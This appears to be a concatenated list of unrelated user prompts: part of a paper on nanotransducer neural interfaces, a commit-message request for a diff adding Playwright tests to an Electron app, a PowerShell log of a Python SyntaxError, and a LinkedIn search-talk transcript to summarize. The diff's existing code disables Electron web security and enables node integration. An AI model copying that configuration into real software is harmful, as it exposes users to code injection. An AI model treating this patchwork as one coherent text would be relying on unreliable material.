Likewise, they can receive the secondary form of energy from the ion channel/neuron and convert it into the primary form of energy. As discussed in the Primary Signals section, electromagnetic radiation, Ultrasound, and Magnetic force are the three primary signals used in nFNIs. However, various forms of energy can be used as a secondary signal, such as electrical, magnetic, thermal, optical, and mechanical energies[7.]. \nNumber\nPrimary Signal\nSecondary Signal\nMaterial\nBinding Target\n1\nVIS light\nElectric field\nQuantum Dots(CdSe)\nMembrane/intracellular/\nvoltage-gated ion channels\n2\nMagnetic Field\nElectric field\nCoFe2O4-BaTiO3\nMembrane/intracellular/\nvoltage-gated ion channels\n3\nUltrasound\nElectric field\nPiezocrystals(Barium Titanate)\nMembrane/intracellular/\nvoltage-gated ion channels\n4\nVIS/NIR light\nHeat\nGold nanomaterials\nTRPV1 Ion channels\n5\nMagnetic field\nHeat\nSuperparamagnetic materials(Manganese ferrite)\nTRPV1 Ion channels\n6\nNIR light\nUV/Vis\nNaYF4:Yb,Er nanoparticles\nlight-sensitive ion channels (ChRs, Chrimson, Jaws)\n7\nMagnetic Field\nMechanical Force\nMagnetite nanoparticles\nMembrane/mechano-gated ion channels(DEG, K2P)\n\n Table 3: Comparing the current state of art nano functional neural interfaces[7,20, 35,36]. The first three nFNIs listed are nano electrotransducers(optoelectric, magnetoelectric, and piezoelectric). Rows 4 and 5 depicted Nano thermotransducers(optothermal and magnetothermal). Row 6 shows a nano optotransducer, and Row 7 depicts a nano mechanotransducer.\n As depicted in Table 3, there are currently seven nanotransducers that promise to create a stable nFNI. The seven transducers can be broken into four groups: electrotransducers, thermotransducers, optotransducers, and mechanotransducers. \nOptotransducers utilize optogenetics to stimulate the ion channel. In optogenetics, creatures are genetically engineered to have light-sensitive ion channels called opsins onto the plasma membrane or have them artificially inserted[7.]. Opsins are engineered ion channels or pumps that respond to specific wavelengths of light to either inhibit or excite neurons. Three examples of opsins are depicted in Table 3. However, another method would be needed to detect the activity of the neuron. While light can stimulate the ion channel, the ion channel would not, in turn, produce light. Therefore, optotransducers would work as stimulators only.\nThermotransducers can take primary signals such as light or magnetic fields to create localized heat. TRP channels, specifically TRPV1, have been shown to be effective temperature-gated ion channels. The channels could be used to inhibit or excite neurons based on localized heating caused by these materials. Ferrous materials such as Manganese ferrite have been shown to be effective magnetothermal transducers[36]. \nOf the seven transducers, optoelectronic, magnetoelectric, piezoelectric, and magnetomechanical nanotransducers will be explored as options for an nFNI because the above-listed transducers are bidirectional. \nOptoelectronic Transducers\nQuantum dots (QD) are semiconducting nanocrystals with properties that allow them to transport electrons. Cadmium selenide (CdSe) is the most common QD, consisting of heavy metal and a nonmetal. The heavy metal acts as the core of the QD, and an additional coating is typically added for stability and biocompatibility. Depending on their material, size, and shape, QDs can be fine-tuned to emit or absorb specific wavelengths from ultraviolet to near-infrared (NIR) due to quantum confinement[9.]. Quantum confinement occurs when the particle size is too small to be comparable to the wavelength of an electron. The phenomenon allows for high photostability and quantum efficiency. For these reasons, quantum dots are being used more readily for clinical purposes such as fluorescent labeling, cancer treatment, and drug delivery[9.]. They are useful in these applications due to their ability to be used as a platform to image while also being small enough to travel through the bloodstream. \nQD exhibits optoelectric properties to generate photocurrent [9.]. Once excited, QDs momentarily create an electric dipole moment, which induces an electric field. If a QD can be coupled with a neuron within 10 nm[20.] of the plasma membrane either by use of an anchor protein or floating in a substrate, the electric field generated may be enough to create an action potential. Neurons typically have a resting voltage of approximately -70mV. For the neuron to begin depolarizing, creating an action potential, the voltage would need to be raised to -55mV meaning the nFNIs would need to transduce 15mV to cause the neuron to fire[21.].While additional research is require to demonstrate the energy conversion efficiency of QDs on a nanoscale, QDs have been used for photovoltaics in recent studies that demonstrated, on a macroscale, an efficiency of 66%[37]. \nWhile QDs can allow for an attenuated signal to generate an action potential, NIR light would first need to make it to the transducers to stimulate the QDs. A benefit to this model is that QDs can be tailored to their needed application, but if the coating is degraded, the heavy metal core could be toxic[12.]. They have shown cytotoxicity towards cells in vitro due to the release of free Cadmium[22.]. However, quantum dots have not been shown to be toxic in humans, so further experimentation should be done before the assumption that QDs are toxic in humans would be needed. \nMagnetic Transducers \nMagnetic nanoparticles have been investigated for medical applications such as magnetic separation of biological entities, nano-drug delivery, cancer treatment, and MRI. However, there has been a recent push in using magnetic particles for neural interfacing. Similar to QDs, magnetic nanoparticles typically consist of a metallic core paired with a shell to make the interface biocompatible and stable. Typically the internal cores can be made from iron-cobalt alloys with a coating that protects the interface from oxidation[23.]. Still, once again, the coating of the interface is highly dependent on the nature of the tasks. In the following section, magnetoelectric nanoparticles(MENs) and magnetomechanical nanoparticles(MMNs) will be investigated. \nMagnetoelectric Nanotransducers \nIn a study conducted by Gudurut et al., EEG waveforms of live mice were shown to be modulated by 30nm CoFe2O4-BaTiO3 magnetoelectric core-shell nanoparticles under low energy magnetic fields(20 Oe at 20 Hz).CoFe2O4-BaTiO3 was chosen specifically for this study due to its powerful magneto-electric effect due to strain-induced coupling between the magnetostrictive cobalt ferrite cores and piezoelectric barium titanate shells [24.]. In another investigation conducted by Nguyen et al., it was found that by using magnetic nanoparticles localized to a specific region of the brain, a local electric field of 1000V/m could be induced with roughly 50 mT at 10 Hz. The result is especially significant because standard transcranial magnetic stimulation requires approximately 1T to produce a similar effect[25.].\nWhile the initial finding for MENs shows they have promise as stable nFNIs, further investigation is needed to confirm their properties. In the study conducted by Gudurut et al., the cytotoxicity of MENs was performed. In this study, the magnetic nanoparticles were coated with glycerol mono-oleate. They found no significant toxicity for human neuron cells in vitro in a concentration range up to 200 μg/ml[25.].\nMagnetomechanical Nanotransducers\nMMNs capable of mechanically modulating cell response has been established in the field. Typically, MMNs are bound to the plasma membrane using collagen or an equivalent binding protein. They are able to apply pico-newton forces to stretch ion channels via particle twisting[26.]. MMNs can have iron oxide, magnetite, or hematite cores, and they can also have silica, collagen, starch, or dextran coatings, depending on the type of cell they are being bound to[26.]. While most studies conducted on MMNs were conducted in non-excitable cells, the activation of mechanosensitive ion channels can be transferred to neural modulation. In particular, one study demonstrates the potential for MMNs[27.]. They used MMNs with magnetite cores coated with starch to target ion channels attempting to cause a calcium influx in cortical neurons. By utilizing a magnetic field of 110mT, they were able to induce a significant calcium influx in transgenic mechanosensitive ion channels, which is a tenth of the energy needed to induce a calcium influx using TMS[28.]. \n"' -'create commit message for diff: diff --git a/.npmrc b/.npmrc\nnew file mode 100644\nindex 0000000..92fb827\n--- /dev/null\n+++ b/.npmrc\n@@ -0,0 +1 @@\n+PLAYWRIGHT\\_SKIP\\_BROWSER\\_DOWNLOAD=1\n\\ No newline at end of file\ndiff --git a/Jenkinsfile b/Jenkinsfile\nindex 6d9c464..f0f507e 100644\n--- a/Jenkinsfile\n+++ b/Jenkinsfile\n@@ -44,6 +44,7 @@ pipeline {\n genericSh(\'conan config install git@git.raa-st.com:st/conan-config.git -sf default\')\n genericSh(\'yarn install\')\n genericSh(\'yarn build\')\n+ genericSh(\'yarn test\')\n genericSh(\'yarn package\')\n if (!isUnix()) {\n genericSh(\'yarn make-windows\')\n@@ -62,7 +63,9 @@ pipeline {\n steps {\n script {\n if (!isUnix()) {\n- archiveArtifacts \'out/vkbox-editor-x64-install.exe, out/version.txt\'\n+ archiveArtifacts \'out/vkbox-editor-x64-install.exe, out/version.txt, out/tests/\\*\\*/\\*\'\n+ } else {\n+ archiveArtifacts \'out/tests/\\*\\*/\\*\'\n }\n }\n }\ndiff --git a/package.json b/package.json\nindex 86b2f6e..830fe90 100644\n--- a/package.json\n+++ b/package.json\n@@ -13,7 +13,8 @@\n "make-windows": "innosetup-compiler installer.iss --O=out",\n "build-prod": "vite build",\n "build": "run-s generate-bindings make-config-schema build-prod",\n- "write-version": "node write-version.js"\n+ "write-version": "node write-version.js",\n+ "test": "playwright test"\n },\n "keywords": [],\n "author": {\n@@ -24,6 +25,7 @@\n "@emotion/react": "^11.10.4",\n "@fontsource/roboto": "^4.5.8",\n "@mui/base": "^5.0.0-alpha.106",\n+ "@playwright/test": "^1.28.1",\n "@types/argparse": "^2.0.10",\n "@types/async-lock": "^1.3.0",\n "@types/fs-extra": "^9.0.13",\n@@ -60,6 +62,7 @@\n "monaco-editor": "^0.34.0",\n "node-loader": "^2.0.0",\n "npm-run-all": "^4.1.5",\n+ "playwright": "^1.28.1",\n "postcss": "^8.4.19",\n "prettier": "^2.8.1",\n "prettier-plugin-organize-imports": "^3.2.1",\ndiff --git a/playwright.config.ts b/playwright.config.ts\nnew file mode 100644\nindex 0000000..e37563a\n--- /dev/null\n+++ b/playwright.config.ts\n@@ -0,0 +1,32 @@\n+import type {Config, PlaywrightTestOptions, PlaywrightWorkerOptions} from \'@playwright/test\'\n+\n+const config: Config = {\n+ testDir: \'src/e2e\',\n+ outputDir: \'out/tests\',\n+ snapshotPathTemplate: \'{testDir}/{testFilePath}-snapshots/{testName}-{arg}{ext}\',\n+ timeout: 3000 \\* 1000,\n+ globalTimeout: 5 \\* 6000 \\* 1000,\n+ workers: process.env.CI ? 1 : undefined,\n+ forbidOnly: !!process.env.CI,\n+ preserveOutput: process.env.CI ? \'failures-only\' : \'always\',\n+ retries: process.env.CI ? 3 : 0,\n+ reporter: process.env.CI ? [[\'dot\'], [\'json\', {outputFile: \'out/tests/report.json\'}]] : \'line\',\n+ projects: [\n+ {\n+ name: \'electron\',\n+ use: {\n+ browserName: \'chromium\',\n+ },\n+ metadata: {\n+ platform: process.platform,\n+ headful: true,\n+ browserName: \'electron\',\n+ channel: undefined,\n+ mode: \'default\',\n+ video: false,\n+ },\n+ },\n+ ],\n+}\n+\n+export default config\ndiff --git a/src/docks.view.tsx b/src/docks.view.tsx\nindex 5fa6b4f..8e3020c 100644\n--- a/src/docks.view.tsx\n+++ b/src/docks.view.tsx\n@@ -8,10 +8,12 @@ import {Dropdown, DropdownList, DropdownListItem, DropdownOpenOn, DropdownSide}\n function OpenTabDropdown(props: {model: DocksModel; insertAfterTab?: string}) {\n return (\n \n {Object.entries(availableTabs).map(([id, tabInfo]) => (\n {\n props.model.addTab(id as TabType, props.insertAfterTab)\n@@ -35,7 +37,7 @@ export const DocksView = observer(({model}: {model: DocksModel}) => {\n // console.log(getSnapshot(model.layout))\n return model.isEmpty ? (\n <>\n- \n+ \n \n\n To open an additional tab, right-click on the tab name\ndiff --git a/src/e2e/electron-fixture.ts b/src/e2e/electron-fixture.ts\nnew file mode 100644\nindex 0000000..b7c51d5\n--- /dev/null\n+++ b/src/e2e/electron-fixture.ts\n@@ -0,0 +1,32 @@\n+import type {ElectronApplication, Page} from \'@playwright/test\'\n+import {test as base} from \'@playwright/test\'\n+export {expect} from \'@playwright/test\'\n+\n+type ElectronTestFixtures = {\n+ electronApp: ElectronApplication\n+ window: Page\n+}\n+\n+export const test = base.extend({\n+ electronApp: async ({playwright}, run) => {\n+ // This env prevents \'Electron Security Policy\' console message.\n+ // process.env[\'ELECTRON\\_DISABLE\\_SECURITY\\_WARNINGS\'] = \'true\'\n+ const electronApp = await playwright.\\_electron.launch({args: [\'.\']})\n+ await run(electronApp)\n+ await electronApp.close()\n+ },\n+\n+ window: async ({electronApp}, run) => {\n+ const window = await electronApp.firstWindow()\n+ await window.evaluate(() => (window as any).localStorage.clear())\n+ await run(window)\n+ },\n+\n+ page: async ({window}, run) => {\n+ await run(await window)\n+ },\n+\n+ context: async ({electronApp}, run) => {\n+ await run(electronApp.context())\n+ },\n+})\ndiff --git a/src/e2e/first.spec.ts b/src/e2e/first.spec.ts\nnew file mode 100644\nindex 0000000..7e0f1cc\n--- /dev/null\n+++ b/src/e2e/first.spec.ts\n@@ -0,0 +1,59 @@\n+import {expect, test} from \'./electron-fixture\'\n+\n+const getScreenOpts = (name: string) => ({path: `out/tests/screens/${name}.png`})\n+\n+test(\'check initial state\', async ({window}) => {\n+ expect((await window.title()).startsWith(\'Vkbox Editor\')).toBeTruthy()\n+ await expect(window.locator(\'#open-tab-dropdown\')).toBeVisible()\n+ // await window.pause()\n+ await window.screenshot(getScreenOpts(\'main\'))\n+})\n+\n+test(\'open config tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-config-editor\')\n+ await expect(window.locator(\'text=Save\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'config\'))\n+})\n+\n+test(\'open theme tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-theme-editor\')\n+ await expect(window.locator(\'input#mode\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'theme\'))\n+})\n+\n+test(\'open create-object tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-create-object\')\n+ await expect(window.locator(\'text=Cleanup scene\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'create-object\'))\n+})\n+\n+test(\'open leaflet tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-leaflet-map\')\n+ await expect(window.locator(\'.leaflet-container\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'leaflet\'))\n+})\n+\n+test(\'open canvas tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-canvas\')\n+ await expect(window.locator(\'text=No connection\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'canvas\'))\n+})\n+\n+test(\'open entities tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-entities\')\n+ await expect(window.locator(\'text=No connection\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'entities\'))\n+})\n+\n+test(\'open profiling tab\', async ({window}) => {\n+ await window.hover(\'#open-tab-dropdown\')\n+ await window.click(\'#open-profiling\')\n+ await expect(window.locator(\'text=No connection\')).toBeVisible()\n+ await window.screenshot(getScreenOpts(\'profiling\'))\n+})\ndiff --git a/src/e2e/tsconfig.json b/src/e2e/tsconfig.json\nnew file mode 100644\nindex 0000000..f97a39d\n--- /dev/null\n+++ b/src/e2e/tsconfig.json\n@@ -0,0 +1,5 @@\n+{\n+ "compilerOptions": {\n+ "outDir": "./out/tests/build"\n+ }\n+}\ndiff --git a/src/main.ts b/src/main.ts\nindex 386662e..c2c9921 100644\n--- a/src/main.ts\n+++ b/src/main.ts\n@@ -13,9 +13,11 @@ const parser = new ArgumentParser({\n })\n interface Arguments {\n serve: boolean\n+ headless: boolean\n }\n \n parser.add\\_argument(\'-s\', \'--serve\', {action: \'store\\_true\', help: \'load serve url\'})\n+parser.add\\_argument(\'--headless\', {action: \'store\\_true\', help: \'run in headless mode\'})\n const args = parser.parse\\_args() as Arguments\n \n function createWindow() {\n@@ -38,6 +40,7 @@ function createWindow() {\n }\n const mainWindow = new BrowserWindow({\n ...windowConf,\n+ show: !args.headless,\n webPreferences: {\n nodeIntegration: true,\n allowRunningInsecureContent: true,\n@@ -45,7 +48,7 @@ function createWindow() {\n webSecurity: false,\n },\n })\n- if (windowConf === undefined || windowConf.maximized) {\n+ if ((windowConf === undefined || windowConf.maximized) && !args.headless) {\n mainWindow.maximize()\n }\n \n@@ -76,7 +79,9 @@ function createWindow() {\n \n if (args.serve) {\n mainWindow.loadURL(\'http://localhost:9000\').then(() => {\n- mainWindow.webContents.openDevTools()\n+ if (!args.headless) {\n+ mainWindow.webContents.openDevTools()\n+ }\n })\n } else {\n mainWindow.loadURL(\ndiff --git a/vite.config.ts b/vite.config.ts\nindex 1e288ee..2cc3e4e 100644\n--- a/vite.config.ts\n+++ b/vite.config.ts\n@@ -44,7 +44,7 @@ export default defineConfig({\n },\n },\n onstart(options) {\n- options.startup([\'.\', \'--serve\']).then()\n+ options.startup([\'.\', \'--serve\', \'--headless\']).then()\n },\n }),\n renderer({\ndiff --git a/yarn.lock b/yarn.lock\nindex 5c1dce7..066ffc9 100644\n--- a/yarn.lock\n+++ b/yarn.lock\n@@ -557,6 +557,14 @@\n "@nodelib/fs.scandir" "2.1.5"\n fastq "^1.6.0"\n \n+"@playwright/test@^1.28.1":\n+ version "1.28.1"\n+ resolved "https://npm.raa-st.com/@playwright%2ftest/-/test-1.28.1.tgz#e5be297e024a3256610cac2baaa9347fd57c7860"\n+ integrity sha512-xN6spdqrNlwSn9KabIhqfZR7IWjPpFK1835tFNgjrlysaSezuX8PYUwaz38V/yI8TJLG9PkAMEXoHRXYXlpTPQ==\n+ dependencies:\n+ "@types/node" "\\*"\n+ playwright-core "1.28.1"\n+\n "@popperjs/core@^2.11.6":\n version "2.11.6"\n resolved "https://npm.raa-st.com/@popperjs%2fcore/-/core-2.11.6.tgz#cee20bd55e68a1720bdab363ecf0c821ded4cd45"\n@@ -3675,6 +3683,18 @@ pify@^3.0.0:\n resolved "https://registry.yarnpkg.com/pify/-/pify-3.0.0.tgz#e5a4acd2c101fdf3d9a4d07f0dbc4db49dd28176"\n integrity sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==\n \n+playwright-core@1.28.1:\n+ version "1.28.1"\n+ resolved "https://npm.raa-st.com/playwright-core/-/playwright-core-1.28.1.tgz#8400be9f4a8d1c0489abdb9e75a4cc0ffc3c00cb"\n+ integrity sha512-3PixLnGPno0E8rSBJjtwqTwJe3Yw72QwBBBxNoukIj3lEeBNXwbNiKrNuB1oyQgTBw5QHUhNO3SteEtHaMK6ag==\n+\n+playwright@^1.28.1:\n+ version "1.28.1"\n+ resolved "https://npm.raa-st.com/playwright/-/playwright-1.28.1.tgz#f23247f1de466ff73d7230d94df96271e5da6583"\n+ integrity sha512-92Sz6XBlfHlb9tK5UCDzIFAuIkHHpemA9zwUaqvo+w7sFMSmVMGmvKcbptof/eJObq63PGnMhM75x7qxhTR78Q==\n+ dependencies:\n+ playwright-core "1.28.1"\n+\n plist@^3.0.1, plist@^3.0.4:\n version "3.0.5"\n resolved "https://npm.raa-st.com/plist/-/plist-3.0.5.tgz#2cbeb52d10e3cdccccf0c11a63a85d830970a987"' -'Windows PowerShell\nCopyright (C) Microsoft Corporation. All rights reserved.\n\nTry the new cross-platform PowerShell https://aka.ms/pscore6\n\nWarning: PowerShell detected that you might be using a screen reader and has disabled PSReadLine for compatibility purposes. If you want to re-enable it, run \'Import-Module PSReadLine\'.\n\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50195\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\import webbrowser.py\'\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50234\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\browser.py\'\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50247\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\'\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50287\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\'\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 9\n from import webbrowser import open\\_browser\n ^^^^^^\nSyntaxError: invalid syntax\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50296\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\' \nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 9\n from import webbrowser import open\\_browser\n ^^^^^^\nSyntaxError: invalid syntax' -'Summarize the following.\nTitle: "Become a LinkedIn Search Ninja: Advanced Boolean Search | Talent Connect London 2014 - YouTube"\nTranscript: "is everybody ready to begin okay does anybody interested in about how to get more value out of LinkedIn from search yes is it the whole full belly syndrome you just as just eight okay so the first thing I\'ll say is that there should be some time at the end for questions there\'s two mics in the aisles so don\'t be shy if you have questions and also if there\'s something that\'s burning that you want to mention in the middle you can interrupt me just just icky late wildly and I\'ll call on you and I\'ll repeat the question for other folks so I am Glen Kathy I work for kforce it\'s a us-based staffing firm about 1.2 billion in revenue I also oversee the senior vice president of talent acquisition there and we have a national recruiting center with about 300 recruiters in it and I also manage some very specialized recruiting teams one of which is focused heavily on big data and data scientists and things like that so I\'m still very much in the trenches trying to find and attract the right people so if you are a fan of taken like I am I just replaced one word in here it\'s certainly not as violent as the taken movie but I like to kick it off by asking you do you guys know what the most common activity is that anybody performs on LinkedIn is I think I heard somebody say job search profile views yes searching for and finding people that\'s the number one activity that anybody by the way not just you guys but other folks are doing on LinkedIn and so my question to you is when you want to be actually very good at it if that\'s what everybody else is doing you always have to ask yourself the question what are you doing that other people are not sometimes the tough answer to that is nothing which means you have no competitive advantage even if you\'re using the same resource like LinkedIn so I also hopefully won\'t disappoint people even though the title of this was talking about advanced boolean search I actually believe that the most advanced aspect of searching any source of human capital data and when it comes to professional data LinkedIn is the number one they have more data than anybody else professionally it actually has very little to do with boolean logic it has a lot more to do with your mind so even though we\'ll cover some boolean basics today I\'m not really going to go over and or a not and all the other fun stuff it\'s syntactically unless you guys have specific questions about that which I\'d be happy to answer this is going to set the stage for the entire talk that I have today which is you have to learn how to ask the right questions which when you when you realize it the searches that you\'re running a LinkedIn they\'re really their queries which are really formal statements of your information needs you\'re really asking LinkedIn do you have these people but I find that most people don\'t ask very sophisticated questions of LinkedIn but LinkedIn is capable of answering sophisticated questions and the sophistication has nothing to do with boolean logic it has to do with everything else you put in your search so it\'s all about asking the right questions so we\'ll remember that as a theme today so has anybody seen the movie Inception yeah even if you haven\'t you\'re not raising your hand if you haven\'t I would definitely I would definitely recommend watching it that I believe is Paris and you know in this scene Leonardo DiCaprio is actually watching the city Bend the reason why I have to slide in here is because what you are capable of doing with LinkedIn is actually only limited by your own mind it has again nothing to do with boolean logic and actually really nothing to do with LinkedIn it\'s your capacity to think creatively and ask the right questions so I wanted to set the stage with that today so the first round of questions that I\'m going to ask you and if you\'re shy you don\'t wanna yell it out that\'s fine I\'ll probably answer for you but can you guys tell me why the average person joins LinkedIn they may ever wonder about that what\'s that okay maybe they\'re missing out on something they want to belong to something obviously they\'re getting a critical mass networking right okay there why do you think I\'m asking you this question do you guys know okay so this though it might be a slightly Epiphanius moment for some of you in the room it\'s that if you don\'t first understand why people are joining LinkedIn you won\'t really understand why they may or may not say certain things in their profile and if they don\'t say certain things in their profile and you search for it can you find them No so I\'m actually the guy that coined that phrase dark matter so I\'m also a blogger I have a blog called boolean black belt I write a lot about information retrieval searching recruiting and recruiting things like that and the concept of dark matter has to do with people that are on LinkedIn that are there but you can\'t find because your search excludes them so when you take the person who joins LinkedIn to network but there\'s not looking for a job how much information do you think the average person puts in their LinkedIn profile a lot or a little it\'s a little sometimes it\'s very little and I\'ll show you a couple of examples of that so if they\'re using it for networking not looking for jobs they\'re not filling out their LinkedIn profile like a CV many do but most don\'t you have to understand this first because if you don\'t first understand that you will have no clue as to why when you run searches you find people but you may be completely oblivious to the fact that you might be missing out on 80% of who you could be finding now when it comes to who you can recruit on LinkedIn this is a really interesting study they actually did this and I think over it was 18,000 people in 26 countries of people that were fully employed if you look at the percentages it really technically says that 85% of people should be open to hearing from you that\'s how I interpret this so I could care less that 25 percent are kind of looking I think anybody\'s a candidate but I just wanted you to take a second and understand that up to 85 percent of people should be open to your outreach effort even if they didn\'t join LinkedIn look to look for a job even if they don\'t have a CV level profile if you have any audio on that if not I\'ll try to remember what this lady was saying at a LinkedIn event she\'s basically telling she\'s actually talking to folks at linkedin about hey i\'ve got software engineers at my company that i tried to not only get onto linkedin but also ask them to fill out their profiles and when she talks to these software engin it\'s keyboard frequency right there\'s a whole bunch of other things going on but you\'re never really going to get away from keyword frequency so now that I\'ve walked you down the step of you have a lot of people that join LinkedIn they\'re not necessarily looking right it doesn\'t mean you can\'t recruit them and there are some people that actually try to make themselves a little bit more difficult to find do you think that the average search pulls up most people it actually pulls up what I would call the kind of in mail response rates do you think those do you get from those people lower high it\'s probably low right these are the people that are the hottest guys and the girls right so they\'re everybody hitting on them and eventually did you start turning cold on everybody you get the low response rates what i want you to understand though is if you start thinking outside the box and running some different queries you might actually get a higher response rate from your in males and find people that literally have never received a message even in one city so then the question becomes well there\'s another example of dark matter if you just retrieved 600 results 